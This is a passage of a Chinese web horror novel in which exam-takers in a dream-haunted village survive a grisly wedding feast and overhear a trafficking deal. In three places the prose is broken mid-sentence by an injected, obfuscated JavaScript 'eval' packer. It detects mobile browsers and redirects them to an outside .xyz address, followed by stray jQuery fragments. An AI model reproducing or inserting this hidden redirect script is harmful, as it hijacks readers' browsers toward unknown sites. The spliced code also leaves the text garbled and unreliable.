“会不会他们其实也死在了梦里,只是我们当时在离开梦,所以恍惚中没有看到。”时越说。 “你怎么说?”班章看了陈喻一眼。 陈喻微微蹙起眉头:“我想我大概知道这是谁的梦了。” “谁?姚大婶吗?”薛纯问,“她看上去跟之前不一样了。” “不,是新郎。” 陈喻说:“你们还记得咱们从梦里出来的时候,是新郎中了刀快要死了,他快要在梦里死了,所以他的梦醒了。” “要是这样的话,那我想我也知道第一场梦的主人是谁了。”班章说,“是那个带我们进去的男人吧,你说的话大概无意中刺激到了他,然后梦就醒了。” 陈喻:“我猜大概是这样。” “之前他们杀女人也会死,现在他们杀新郎也会死,该不会只要杀村民就会死吧。”披肩发的女生说,“可是我觉得他们也不是很鲁莽的人吧,至少大家都想要活命,为什么会随便出手杀人呢?” 26. 迷梦之乡(6) 昏暗的天色和众人的心情一样糟糕,短短两天不到,已经丧失了四位考生。 最要命的是,没人知道他们到底是怎么出的事,明明每次出刀的都是考生,结果最后尸骨无存的也是考生本人。 “这家伙怎么一直瞅着咱们?”班章看向门外的狗娃。 狗娃此时还没有穿上那身大红色的新郎服,身上穿着的是一件破旧发灰的粗布衣服,黝黑的面庞上满是风沙经年累月侵蚀出来的沟沟壑壑,他给陈喻他们发完请柬后用一种审视打量的目光盯着他们,诡异的笑容充斥在皮肤上的每一处褶皱。 “你说他对自己刚刚做过的梦是有记忆的吧?”时越被瞅得极不舒服,“如果他记得自己在梦里是怎么死的,难道不是应该对我们恨之入骨吗?居然还笑着给我们发请柬。” “他这不是没死嘛。”陈喻面无表情对上不远处狗娃的视线,“他或许对那两个人的结局很满意,甚至想多刀几个人玩玩。” 时越看着那边的眼神,听着陈喻的话,莫名起了一身鸡皮疙瘩。 “那破婚礼晚上不会还得再参加一遍吧。” “你现在饿吗?”陈喻突然问。 “你别说,虽然还是很饿,但是比之前能好点。”时越揉了下空空如也的肚子,“你说这到底是梦呢还是某种类似时间回溯的东西,有没有可能,咱们只是重新回到几个小时之前了,就像是循环、鬼打墙之类的。” “根据之前公布的题目信息,梦的概率确实更大一些,无论是死去考生的情况还是场景中的人物变化,基本都可以排除循环,再加上每次重溯之后的迷失感,其实很像梦醒后的迷茫感。”陈喻微微蹙起眉头,“不过,有一些问题我确实还不确定。” 夜晚来得很快,等到几人围着木桌子坐在挂满大红灯笼的院子里时,众人之间紧张迷茫的氛围还在延续。 屋子的灯光很昏暗,光源几乎只剩下那几个高高挂起的大红灯笼,散发着幽幽的红光,似乎给光源照到的一切都渡上了血色,村民们各自围坐在一起,挤满了整个院子。 不知道是不是陈喻的错觉,四周的那些村民似乎都面朝着他们,并且死死盯着他们,不,应该说是她一个人,从各个方向各个角度,甚至好些村民的身体并未挪动分毫,只是脖子朝后转了一百八十度。 泛着红光的一张张狰狞面庞像是疯了一般偏执地死死盯住她,像是将她钉在了原地,他们的眼球朝外突出着,似乎要飞过来将她盯穿一样,幽幽血光像是蚯蚓或是什么长条线虫一样爬满了他们的面庞,爬满他们粗糙的皮肤上的每一寸皱褶,疯狂蔓延。 爬满血虫的脸像是将他们脸上分布的血管全都暴露在外,那些脸不再像是正常的人脸,而像是地狱里最可怖的鬼怪,陈喻将手轻轻放在裤腿上,手心已经满是冷汗。 “各位……你们有没有发现这些村民有点不对劲……” 陈喻生怕那些村民突然冲过来将她分食了,连视线都未敢轻易挪动,可回应她的只有沉默。 她左边坐的是时越,右边是班章,这两个人看来都被吓傻了。 “……你们怎么不说话啊……” 陈喻愈发不安慢慢偏过头,时越离她很近,她像是抓住救命稻草一样摇了下时越的胳膊,时越那货好像把什么东西掉了下来,她下意识伸手接住。 接到的物件触感有些湿滑,形状有点像颗鸡蛋。 “……你吓傻了啊啊啊——卧槽!!!!” “———卧槽!!!!” “———卧槽!!!!” 她低头就看见手里握着个还在滴血的眼球,滑腻的触感疯狂刺激着她的神经,那眼珠子掉在她手里还在直直地看着她…… 她的大脑一片空白,只剩下嘴还在无意识喊着“卧槽”。 想把手上的东西扔了,又觉得应该连手一起扔了,或者把脑子直接扔了吧,这样她就意识不到这是什么东西了。 大脑空白了两三秒,她又做出了另一个让自己后悔的下意识反应。 陈喻下意识抬头看了眼,时越那张爬满血管和烂肉的血红色脸庞几乎跟她贴在一起,那脸上一个眼眶已经空落落流淌着血液了,另一个眼珠还要掉不掉地坠在旁边执着地看着她。 冷汗瞬间爬了她满头,她却像是失去了反应了一样一声不发,她才知道人在极度恐惧的时候连一句“卧槽”都喊不出来,她真怕她刚张大口,对面的眼珠子就掉进来了。 她头脑空白地愣在原地,突然赶紧有人拍了拍她的肩膀,至于是不是人有待考量。 陈喻像是上了发条的机器一样颤颤巍巍扭了个头,对上了一张难忘的笑脸。 班章顶着两个空空的眼眶,用满脸流淌的血线和红色肉渣挤出一个大大的小丑式笑容,细细密密的牙齿暴露在外,她顶着这副僵硬的笑容友善地往陈喻手里塞了什么,然后用极度沙哑的嗓音说:“送给你。” 陈喻甚至觉得自己已经失去了五感,低头看了一眼。 哦,是两颗眼珠子。 瞧瞧,它们还正看着她呢。 好啊,好极了。 她抬头环视了一下桌子上的考生,大家都“友好地”看着她呢。 她和这世界肯定疯了一个。 死寂中她甚至幻听到耳边有鸟类拍动翅膀的声音。 还有什么能比这更可怕呢,陈喻麻木地想。 然后她就看到班章把那张血肉模糊的笑脸放到她眼前,那厮发出“咯咯咯”的笑声,张着血红的大嘴笑得前仰后合,终于把头笑掉了…… 物理意义上的。 那头不偏不倚掉到了她僵硬无措已久的两臂之间,她僵硬低头,跟手里抱着的脑袋上面的血眼眶正正对上。 “———卧槽!!!!!” 陈喻反手把手里的脑袋向天上抛去,这感觉竟然有点像打排球,她甚至觉得自己的脑袋跟着手里这玩意儿一起飞了,要不然身边这些怪物怎么都开始朝她走来了呢?!!! 是幻象吗? 是毒蘑菇吗? 可为什么她无论怎么挣扎都改变不了眼前的境遇呢? 再清醒不过来它们会杀了她的! 涂抹的鲜红的长指甲轻轻划擦过她的小臂,带来的是疯狂席卷她全身的痛感,她向伤口处看去,那里已经皮开肉绽,甚至露出一小截白骨。 无数张爬满血线和烂肉的脸都在飞速向她靠近,靠得极近,那脸上的血迹甚至滴落在陈喻的面庞上,疼痛让她混沌的脑子居然稍微清醒了一些,可这些无限贴近的一张张脸却在疯狂挑衅她的精神边线,她觉得自己已经临近崩溃。 杀戮,血腥,上次遭遇这些还是在那个男人的梦里…… 对啊,梦……她在梦里?这又是谁的梦? 那为什么只有她一个人进来,为什么这场梦的针对性这样强,谁的梦里所有人都会疯癫成这样……啊,原来是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645222|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样…… 她轻轻闭上眼睛凝神,再缓缓睁开,感觉凑近的脸往后退了一点。 陈喻微微勾起嘴角,准备继续闭上双眼尝试,却突然听到一生脆响。 “——啪!!!” 紧接着左脸开始火辣辣的疼。 她迷茫地睁开双眼,却发现眼前的场景在飞速崩塌,她的头和身子似乎又颠倒了过来。 等到眩晕感彻底过去,黑暗完全褪去,身上的伤口也失去了痛感,只有左半边脸依然火辣辣的疼。 “我天!你终于醒了!!”时越在陈喻左耳边叽叽喳喳,“知道我喊了你多久吗?起码半个小时了!” “我……我刚刚怎么了?”陈喻问。 “你睡着了。”班章面带微笑冲她挑眉,“如果我没猜错的话,你不止睡着了,你应该还做了梦,而且那一定不是什么好梦。” 没错了,刚刚那个是她自己的梦。 所以才会只有她一个人,所以针对性才会那么强,梦是跟随潜意识走的,当这些场景出现的时候,她越是畏惧什么就越会发生什么,即使是不想让那些东西出现,可只要一旦想出来,画面就会呈现,想的越详细看到得也越多。 畏惧会让画面可怖,可怖的画面又会引发更多的恐怖联想,真是恶性循环了。 不得不说,时越这个扇巴掌的方法虽然简单粗暴,但有时候真是好使。 “答应我,这几天都不要对着我笑了。”陈喻拍着班章的肩膀说。 满脸热情的班章:? “还有你,距离产生美,咱们还是保持一米以上的安全距离吧。”陈喻扭头补充。 感觉自己帮上忙凑上来准备求夸奖的时越:? “我大概什么时候睡着的?”陈喻问。 “基本我们刚坐到这里吧,当时那些村民还没来,你就念叨了句有点困,胳膊撑着脑袋就着了,至少有半个小时了。”时越说,“班章说大白天不要睡觉,让我喊你起来,可我怎么喊你晃你都没有用。” “后来你的表情越来越难看,头上还一直冒冷汗,我俩怎么都叫不醒你,想着你可能是出事了,最后我就只好采取了一点暴力手段。” 陈喻沉默了,她居然对这段完全没有印象了。 “你们快看,新娘新郎来了。”薛纯说。 陈喻抬眼看去,一眼就瞅见那两个穿着大红色婚服的人,灯笼的红光映照在他们身上,让怪诞的环境显得越发诡异,这一幕和之前在新郎梦中看到的场景几乎没有什么不同。 “除非是饭菜来了,否则什么我也不感兴趣。”时越饿得快发疯了。 “这个考场怪得很,它居然没有死亡限制。”班章嘀嘀咕咕,“还是说今天死亡的数量它还不满意?” “我运气可真好。”陈喻一脸生无可恋。 “或许是因为你昨晚没有睡好。”班章说。 “我没有睡好难道不就是那东西导致的吗?” 班章挠了一下脑袋说:“那它肯定是怕到手的鸭子飞走了,只好逮着你这一根羊毛薅。” 陈喻:“……” 可真是谢谢它了。 “快看快看!菜来了!!” 陈喻顺着端盘的村民向着餐桌看去,整个人的呼吸都凝滞了。 她缓缓吐了口气:“我反正不饿,你们呢?” 班章:“我喝口西北风就饱了,你知道的。” “……” 27. 迷梦之乡(7) 摆放在桌子上的是一大盘生肉,鲜红的血液顺着桌板往外蔓延,碎肉和白森森的骨头里混杂着些许类似衣料碎片的东西,粘腻的脑浆和不明汁液还在外溢。 浓重的血腥味和腐臭肆无忌惮地充斥几人的鼻腔,尽管陈喻已经饿得发疯,还是忍不住想从空空如也的肠胃里干呕出些什么。 “大家别客气啊,快吃啊,吃好喝好啊。”赵老汉高声向村民们喊道。 红光之下的村民徒手拿起桌子上的肉大快朵颐,他们的脸上满是放纵的享受和欢欣,血肉将他们的嘴唇染得通红,甚至还有不少汁液正在顺着他们嘴角向下流淌,他们张大嘴巴露出细且密的牙齿,细长的舌头将将手中的血块卷入腹中。 要死,那些东西哪里像是人,根本就是一群怪物。 陈喻不自觉皱紧眉头,她不禁怀疑自己此刻是否又陷入了某场梦中。 “你们怎么不吃啊?是不合胃口吗?”大红灯笼将新郎黑黢黢的脸映照得格外诡异,他笑得狰狞,“还是说,你们是不给我狗娃面子?看不起我?” 他话刚吐出口,那群怪物就齐齐转过身来,从四面八方直勾勾地看向他们,不少村民甚至还正咀嚼着嘴里的肉。 众人:“……” 尽管陈喻很想装作没看见,但那些家伙确实将脖子朝后转了一百八十度,而且如果她没看错的话,他们的脸上好像已经隐隐有几条蠕动的血虫了…… 她怔愣地抓了抓脑袋,到底是醒没醒啊? 几人围坐一桌,瞅着桌上的东西大眼瞪小眼,脸色一个比一个难看。 “真是不好意思啊,我们都是素食主义者,让我们吃肉和杀我们没什么两样。”陈喻面无表情回应新郎。 新郎听了脸上的笑意凝固,看上去只剩下狰狞,像是起了杀意一般,连带着周遭的村民也狰狞起来,看向他们的眼神越发诡异。 “你没事瞎他妈回什么话?!本来还没什么,现在他们看上去像疯了一样!”谭修杰开始冲着陈喻喊叫。 陈喻没什么情绪地看了他一眼,“不好意思,我不知道你对桌子上的肉感兴趣,需要的话我可以让他们再给你上一盘。” 谭修杰:“……” “……喂……你们有没有看到他们的样子?那压根不是人吧,这是进到梦里了吗……还是说,该不会只有我一个看到?”谭修杰开始头皮发麻,战战兢兢地缩着脖子说。 薛纯的声音也带着些颤抖:“怎么,你第一次见NPC吗?真稀罕。” “你大爷的!薛纯!”谭修杰连声音都大了几分,“老子跟你说,怪物来了老子第一个把你丢出去!” “你有这个胆子吗?”薛纯冷笑。 谭修杰似乎被刺激到了,一怒之下站起来用力拍了把桌板:“你大爷……” 他话还没说完就感觉到无数道目光投射到他的身上,他回顾四周,发现村民们此时都疯狂地盯着他,那眼神他毫不怀疑那些怪物要将自己分食殆尽。 谭修杰呼吸一滞,放缓动作轻轻坐回原位,那些怪物的眼神也随之移动。 “现在冷静了?”班章瞥他一眼。 谭修杰:“……这下怎么办啊?……卧槽卧槽卧槽!!他们开始动了,他们走过来了!!!怎么办啊?!怎么办?!!” 陈喻比他还慌,因为现在这个场景跟之前她梦里的很像,她不确定这些家伙会不会重演梦里的一切,如果重演了,她不确定这次一张张贴近的面孔会不会直接要了她的命。 在之前接触到的两个梦里,全都有考生丧生,那么这一次呢?她的梦也会死人吗? 如果真的是这样,好像那个人只能是自己了,毕竟她的梦里只出现了她一个活的考生。 班章不耐烦地“啧”了一声:“天黑了。” 像是某根弦被触动,陈喻突然从刚刚的迷茫慌乱中清醒过来,她朝着班章看了一眼,正好对上她的视线。 “天黑了,我想我们该睡觉了。”陈喻的声音不是很大,但足够在场的每一个人都听到。 她说完这句话,没有任何停留,起身向着屋外走去,时越不明所以,但紧跟其后。 众人一脸诧异地看着她从新郎身边擦肩而过,从面目全非的村民身边走过,他们的脸色差极了,但却没有一个人伸手阻拦。 快要走出门的时候,陈喻感觉小腿似乎被什么拽住,她朝下看去,看到一个一脸执拗的小男孩,他用胖乎乎的小手死死拽着她往出迈的小腿,仰着脑袋死死盯着她看。 “小志乖,天黑了,咱们该回家睡觉了。”身后的中年女人黑着脸把他拉走了。 紧接着,不止是他们几人,所有的村民都站起身来,朝着外面走去。 陈喻看了看自己裤腿上的血掌印,最终一言不发地回了住所。 夜晚的柴房暗得伸手不见五指,陈喻和时越挑了一个靠墙的角落静静躺下,不知道是不是陈喻的错觉,柴房里似乎飘散着一股奇异的花香,糟糕的是,这股香味似乎与柴房里原本四散的臭气交织在了一起,使那味道难以形容。 或是今日的遭遇太过耗人心神,众人似乎都很快睡了过去,寂静的柴房里响起几道有节奏的呼吸声以及鼾声。 唯有陈喻,她满脑子都是晚上的婚宴,村民的面孔一张一张向她凑近,她却避无可避,这样的场景她经历了两遍,其中一次她甚至几乎崩溃,她比今天在场的任何一个人都心有余悸。 班章的话提醒了她,被梦境和死亡支配的恐惧让她忽略了其他的细节,也失去了基本的思考,现在想想,之前遇害的考生几乎都使用了小刀道具,并且杀害了村民,但事实上她并没有。 杂乱的思绪如潮水般涌来,她漫不经心地试图去理顺这个混沌世界的规则和逻辑。 前面两次进入村民的梦都是白天发生的,甚至她今天做梦也是在白天,班章也跟时越说过白天不要睡觉,或许白天不能睡觉正是这个考场的隐藏规则之一。 昨天晚上她遭遇那些东西的时候几乎一整晚都处于失眠状态,可其他考生的睡眠质量却似乎很高。 因为自己的梦境的关系她一直以为今晚看到的一切都是自己梦境的重演,可事实呢?真的是这样吗? 如果是梦的重演,如果一切都是针对她来的,那么村民的目光就不会聚焦在所有考生的身上,他们几人看到的一切不合理一切诡异其实并不来自于什么梦的重演,而是触犯了另一条考场隐藏规则。 天黑就要入睡。 适应黑暗之后,凭借零星的星光陈喻也能大致看到一些屋内的轮廓。 她知道自己应该赶紧睡着,可一闭上眼睛那些可怖的面孔就都围了上来。 枯草铺就的土地一片漆黑,星光只能勉强让她看清几人的剪影,她的目光从几人身上一一划过。 原本十二个考生的考场如今已经少了四个,只剩下这八个人。 不对,她好像忘了数自己。 ———什么?!! ———八个人?!! 除去她自己以外怎么还会有八个人?!! 陈喻的心跳声在她耳边无限放大,在寂静的柴房中格外清晰。 她认真又数了好几遍,房间里确实有九个人。 扑鼻的浓郁香气疯狂灌入她的鼻腔,莫名让人沉醉,让人迷茫,裹挟着她前往某个未知的梦乡。 清晨。 “你是说昨晚你在这个房间看到了九个人?”班章坐在她对面,“你确定多出来的那个是人?” “看着像是人,是不是就不知道了。”陈喻说。 “什么?!我们不会和鬼住在一起一晚上吧!”谭修杰开始崩溃。 “也有可能是两晚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663399|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”薛纯补充。 “我也不是什么都想知道的。”时越拒绝听这种让人一阵恶寒的消息,“再这样下去还没被那些东西弄死就要先饿死了,我申请再来一锅毒蘑菇。” “九月,你的技能可是众多鸡肋的低阶技能中很有用的技能了,你有厨艺哎,只要有食材,你想吃什么都不是问题。”班章说。 “你在说什么废话?我要是有食材我至于饿成这样吗?” “你可能不了解,饿大的低阶技能都是些什么玩意儿。”班章冲她笑了笑,接着朝着其他人说,“大家都不想饿肚子吧,咱们不如合作一把,你们的技能都是什么啊?我看看有没有能用的。” 陈喻愣愣看着班章,她一直以为专业技能是什么需要对外保密的东西,结果这家伙大张旗鼓地直接问。 众人的表情都有点不好看,确切来说,有点……不好意思? “真的要说吗?我的技能怪拿不出手,很鸡肋了,就是正常的食物类,不过如果你们需要,我可以无偿提供。”薛纯有些尴尬地说,“是苹果。” “如果我没记错的话,苹果会越吃越饿吧。”时越说。 薛纯:“所以鸡肋啊。” “……” “我的应该毫无帮助,我这甚至都不是食物类,是分析创造类最拉垮的那种。”谭修杰说,“食品鉴赏有人需要吗?” “这有什么用啊?能鉴赏出什么?还是跟分析像吗?”班章问。 “额……就比如之前陈喻他们吃的毒蘑菇,我是能鉴赏出来的。”谭修杰斟酌着说,“不过嘛……它鸡肋就鸡肋在我得吃了才知道。” “……” 陈喻想,那确实很鸡肋了,她吃下去她也知道了。 一个绑着灰色运动发带的男生说:“我们俩也是食物类,只不过我这个……一般人是不会直接吃的,我饿急了会,不知道你们需不需要,是面粉。” “这个好!!!有这种好东西怎么不早说,咱还吃什么毒蘑菇啊!”时越兴奋至极。 他又指着旁边披肩发的女生说:“对了,她的是大葱,有需要的吗?” “我天,这还要什么自行车!陈喻!我现在只需要一口大锅!!”时越欢呼。 陈喻:“……” 你看我像不像一口大锅? 破破烂烂的土墙边,几人围着一口正在烧的大锅狼吞虎咽,锅里煮着热腾腾的面条,上面还撒着葱花点缀。 在过了不知道多少天饿大的苦日子之后,几位可怜的考生终于吃上了热乎乎无毒无害的热汤面。 这简直是奢侈品中的奢侈品啊! 在饿大,没有比这更丰盛的早餐了,以至于众人都觉得早餐的时间过得格外快。 不知道是不是陈喻的错觉,今天的村庄似乎愈发寒冷,冷气和雾气将这里包围,她抬头向天上望去,太阳始终藏在云层深处,只有不知道什么时候飞来的乌鸦在头顶盘旋。 出山的线索还没有头绪,迷雾还让视线受阻,陈喻原本打算回到昨晚的地方看看,可刚走几步,就在迷雾中看到了一个熟悉的身影。 她呼吸一滞,整个人愣在了原地。 “是我眼花了吗?你们有没有看到前面那个人?”陈喻的声音带着怀疑,“他不是已经死了吗?” 班章眯着眼睛朝那个方向看去:“如果我没做梦的话,好像确实是他。” 说着前面那个人朝着他们走了过来,彻底暴露在众人眼前,陈喻看清了他的模样。 是寸头。 是死在婚宴上的寸头。 “你们究竟到哪里去了?!知道我找你们多久了吗?!”寸头带着抱怨说。 突然,他的视线扫到了陈喻身上,他仓皇地后退了半步:“你……你还活着?” 陈喻:? 难道她不该活着吗? 28. 迷梦之乡(8) “卧槽!他到底是人是鬼?!”时越忍不住往后退了好几步,缩到陈喻和班章身后。 “你才鬼呢!妈的,老子在这里不知道找了你们多久了,一个人影都找不着了。”寸头看上去烦躁极了,往地上啐了口,“你们特么一个两个都跑哪去了?你们昨天到底是藏到哪里去了,晚上连住处都没回,也是命大。” “在你的视角,我们是什么时候消失的?”陈喻微微蹙着眉头问他。 “参加婚礼的时候,不对,应该说第一次参加婚礼的时候?我也不确定第二次那个是不是梦……反正就是第一次的婚宴上。”寸头不耐烦地抓着后脑勺,“当时我们俩杀死了新郎,你们闯了进来……再然后,你们都消失了,只剩下我们两个……” “你参加过两次婚礼?”陈喻捏着手心里的毒蘑菇,凝视着他的眼睛轻声说,“那么不幸的我死在了哪一次?” 此时状况之外的其余几人脸色都有些难看,审视的目光在他们二人的脸上来回徘徊,谁都不知道此时站在考场上站在他们面前的两人究竟是人是鬼。 事实上,他们不曾亲眼目睹寸头的死亡,只是从那些碎肉和布料里窥得所谓的真相,但这难道就没有被人误导的可能吗?或许是有的。 至于陈喻,她进入了梦,没人知道她在那场梦里究竟都经历了些什么,但他们知道的是,每次进入梦里,出来后都会有考生出事,陈喻会恰好是那个安然无事的幸运儿吗?或许也很难说。 寸头听了陈喻的话不知道想起了什么,脸色变得难看极了,他顿了一下开口:“是第二次婚礼,那根本就不像是现实,我想那肯定是梦,只有噩梦才会那样恐怖,围坐在桌子上的考生都变成了没眼睛没脑袋的怪物,只有你,只有你是正常的,我能确定你肯定就是进到梦里的人,变成怪物的村民和考生把你包围吞噬,太恐怖了,那简直就是……” “炼狱。” “对!炼狱!” 寸头说得专注,整个人都不自觉颤抖起来,等他抬起头才发现,接他话的正是陈喻本人,陈喻冲他扬起嘴角,整个人看上去有种异常的违和感,她不合时宜的笑容和意味深长的眼神给寸头无形的压迫感。 “你当时看到我了?” 陈喻带着笑意的目光打量着他,寸头莫名觉得后背发凉。 他下意识地往后退了半步,声音欲盖弥彰的提高了几度:“你……你瞅我也没用!你当时那种情况神仙来了也……也难救,所以你现在死了你也……你也不能怪我!又不是我杀的你!!” “那你知不知道,不作为也是一种作为?” 陈喻的声音比刚刚更低了,违和的笑容和阴冷的目光落入寸头眼中,像极了一只阴湿女鬼。 不光是寸头,身边的其他考生也不自觉远离了她,除了抱臂在一旁看热闹的班章。 时越狗狗祟祟缩在班章和张天天后面:“她是不是背着我偷吃毒蘑菇了?” “那你报警抓我啊!如果你是我杀死的,那考场怎么不直接按照违规抹杀我?!”寸头崩溃地抓着脑袋,“死了,你死了,那个男的也死了,马上也会轮到我……可是为什么?为什么你已经死了我还能看到你?难道我现在……在梦里吗?” 陈喻收敛了脸上的表情,偏头跟微笑看戏的班章对上眼神,班章冲她挑了下眉。 班章走过去对着疯疯癫癫嘀嘀咕咕的寸头说:“你小子不会一直活在梦里呢吧。” “你才活在梦里!你全家都活在梦里!!你……你什么意思……”寸头变得有些迷茫。 “字面意思。”陈喻说。 “你是说……” “如果按你这么算的话,我应该算是参加了三次婚礼,第一次我们所有人都处于梦中,在梦里你们俩杀了新郎,可是在现实里你们死了,新郎却活得好好的。”陈喻没什么情绪地说,“你看到的所谓的第二场婚礼其实也不是现实,那是我的梦,你大概躲在角落没有看完,我确实差点死在梦里,但幸运的是我死里逃生了,第三场婚礼才真正处于现实,你却没有看到。” “我们并没有消失,我们只是离开了梦而已,而你之所以找不到我们,大概是因为你从未离开。” “你是说我一直待在梦里……这怎么可能?我死了吗?不可能!这不可能!”寸头抓住陈喻的肩膀摇晃,“你疯了吧!这怎么可能!死的明明是你才对!是你骗大家!我怎么会死呢?如果我一直待在梦里……你们能离开梦不就说明那场梦醒了吗?既然梦都醒了我怎么会被困在里面,那我被困住的又是谁的梦?我现在存在的又是谁的梦?!那么多人做那么多场梦,我恰恰就能跟你们进入同一场?!” “你说的问题我也在思考。”陈喻不动声色甩开对方的手,“我现在大致的思路倾向于我们进入考场以来一直称之为梦的这个东西跟我们现实中的梦其实有很大差异,你能进入新郎的梦,也能进入我的梦,甚至还能和我们一起进入这个不知道是谁的梦,或许梦境空间是恒定存在的,这个空间似乎不存在梦醒就消灭,这个空间会随着上一场梦进行延续,直至下一个掌控梦境空间的梦出现。” “梦或许是无穷的,但在一定时段内掌控梦境空间的梦却只有一场,不然很难解释为什么我们总能进入同一场,还有那些梦境中的村民,谁又能确定他们不是被拉进来的呢?” “这样也能说得通第一场梦那一男一女两个考生为什么梦里梦外死状看上去有所不同了,因为他们确实死了两次。”班章顺口接话。 “可他们至少离开了梦,我在现实都死了,活在梦里还有什么意思?那不就是鬼吗?我特么永远都离不开这个鬼地方了!”寸头的眼底只剩下无尽的绝望。 “你先别那么悲观嘛,老兄。”班章拍了拍他的肩膀,“这是考场,一切你想到的想不到的皆有可能嘛,我现在倒是比较好奇这两场梦的差异究竟在哪里,才会导致这样不同的结果。” “你当然不悲观了!你活得好好的!站着说话不腰疼!”寸头崩溃地朝着班章吼。 “昨天究竟发生了什么?你们为什么要杀新郎?”陈喻问,“还有,和你一起那个男的是怎么死的?” “我凭什么要告诉你们?!我特么都要死了,还要被你们像审问犯人一样审吗?!”寸头看上去有些疯癫,“这场考试难得要死,既然我也活不了了,那大家干脆群灭好了……” 寸头对上陈喻和班章愈发不善的表情,他的声音越来越低。 “除非!……除非你们帮我摆脱村民!”他说,“你们只要成功帮我摆脱村民追杀,我就告诉你们那天到底都发生了什么,怎么样?” “村民在追杀你?”陈喻抓重点道。 “跟你一起那个男的也是被村民杀的?”班章随口问。 “……” 他无奈说:“说好你们先帮我的,你们到底怎么回事?” “班长,有人来了。”张天天低声说。 “他们来了!他们来杀我了……”寸头还没说完,就被张天天捂住口鼻,拖到暗处。 几人隐匿身形,借着浓雾躲在角落。 从雾里走出来的确实是村民,但却不是一帮壮汉,只是一个看上去手无缚鸡之力的老奶奶,走起路来甚至有点跛。 这老奶奶他们几个都见过,就在昨天狗娃的婚礼上,她是赵婆婆,是狗娃的奶奶。 她似乎察觉到什么,朝四下瞅了几眼,不过落在陈喻眼里却并不像是在找什么人,反而像是做贼心虚一般看上去鬼鬼祟祟。 她没发现什么异样,便一瘸一拐地朝某个方向走去。 “出息,就一个老太太吓成这样。”班章吐槽寸头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692380|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那帮人好像这会儿不见了,不过这老太太之前也追我来着。” “她好像有秘密,我想跟上去看看。”陈喻盯着赵婆婆离开的方向。 “英雄所见略同。”班章回应,“我也正有此意。” “我不同意!”寸头哀嚎。 “天儿,他太吵了,还是继续强行闭麦吧,等他什么时候准备交代真相了再让他开口。” “……” 潮湿的环境使得土墙散发出一股子泥味,雾气比清晨散下去不少,几人窝在某处墙角偷偷窥视着行踪诡异的赵婆婆。 身处梦境,几人都不敢放松警惕,没人知道下一秒又会发生些什么。 薛纯对着陈喻这边使了个眼色,告诉他们有人来了。 进来的是一个穿着一身黑衣黑帽的男人,黑色的长衫包裹他的整个身形,帽檐遮住了他的大半张脸,下半张脸又用黑色的布严严实实裹着。 “任先生,你来了。”赵婆婆沙哑的嗓音落在众人耳中。 “这次要几个?”任先生问。 “要五个吧。” “没问题,但是要加价。” “凭什么?之前都说好的,都这么多年了,就因为那糟老头子不在,你就不拿我当回事了吗?!”赵婆婆一怒之下将本就不结实的木桌子拍得嘎吱作响。 “之前说好是三个,你想要五个就得加价。”对面的声音平静无波。 “老李家的媳妇死了,被那些外乡人杀死了。”赵婆婆的脸上满是恨意,“老孟家的媳妇送来的时候就有问题,这本来就是你的问题,你欠我们一个。” “到手概不负责,这是老规矩了。”任先生说。 “反正要多的钱我没有。”赵婆婆冷哼一声。 “那要多的人我也拿不出手。” “你别太过分了!你就不会我坏了你的生意,这生意你不做有的是人做!” 任先生听完反倒笑了:“你难道不怕我把你做的事都告诉你男人吗?” “姓任的!往我喊你一声先生,就你这样的狗东西竟然也配当教书先生!呸!”赵婆婆对着他啐了一口。 “我今天傍晚会离开村子,你想好了记得来找我,若我离开之前你都不曾来找我,那我就默认咱们的交易就到此为止吧。”他说完长袍一甩就往外走。 赵婆婆气得发抖:“呸!” “对了,你们不是早就打算对那几个外乡人下手了嘛,那可能省不少钱呢。”他笑着扔下这句。 “呸!!” 这下不是赵婆婆呸了,时越忍不住也呸了他一口。 陈喻还在琢磨,却被旁边的人给了一胳膊肘,她低头一看,是被张天天按在地上封着嘴的寸头。 “怎么了,你认识他?”陈喻问。 寸头摇了摇头。 “那你是想通了,准备告诉我们昨天发生的事情了?”班章问。 他先是摇了摇头,又很快反应过来疯狂点头。 班章:“先放开,看看他准备放些什么狗屁。” 寸头松开束缚,整个人瘫在地上:“你们这是禁锢我的人身自由!咱们说好你们帮我躲避村民,你们倒好专门带我来找村民……” 班章面无表情:“天儿,继续闭麦。” “……哎哎哎,别别,我有话要问,正经问题,我想问我们俩出事之后,还有考生出事吗?” 时越:“这不明显吗?都好好地站在你面前啊。” “可我记得队伍里有一个穿皮衣的男的,我今天好像一直没看到。”寸头活动了一下自己僵硬的脸颊,“而且你们没发现吗?咱们的人数加上我一直只有八个人啊。” 时越开始后背发凉,她身形僵硬地扭头瞅了瞅,还真是八个人。 陈喻和班章四目相对:还真是。 29. 迷梦之乡(9) 